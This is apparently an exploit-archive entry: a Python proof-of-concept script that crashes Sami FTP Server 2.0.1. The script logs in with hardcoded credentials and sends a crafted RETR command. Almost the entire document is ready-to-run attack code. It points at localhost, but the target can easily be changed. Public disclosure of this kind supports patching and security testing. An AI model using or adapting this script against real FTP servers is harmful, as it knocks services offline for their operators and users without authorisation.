Sami FTP Server 2.0.1 RETR Denial Of Service

`#!/usr/bin/python  
#  
#  
# Exploit Title: Sami FTP Server RETR Denial Of Service  
# Date: 2013/6/09  
# Exploit Author: Chako  
# Vendor Homepage: http://www.karjasoft.com/old.php  
# Software Link:   
# Version: V2.0.1 (Doesn't work on V2.0.2)  
# Tested on: Windows XP SP3  
# Description:  
# A bug discovered in Sami FTP Server allows an attacker  
# to cause a Denial of Service using a specially crafted request.  
  
  
  
import socket  
import sys  
  
USER="chako"  
PASSWD="chako"  
PAYLOAD="\x41"   
  
print("\n\n[+] Sami FTP Server RETR Denial Of Service")  
print("[+] Version: V2.0.1")  
print("[+] Chako\n\n\n")  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect(("127.0.0.1",21))  
data = s.recv(1024)  
  
  
print("[-] Login to FTP Server...\n")  
s.send("USER " + USER + '\r\n')  
data = s.recv(1024)  
s.send("PASS " + PASSWD + '\r\n')  
data = s.recv(1024)  
  
  
  
print("[-] Sending exploit...\n")  
s.send("RETR " + PAYLOAD + '\r\n')  
s.close()  
  
print("[!] Done! Exploit successfully sent\n")  
`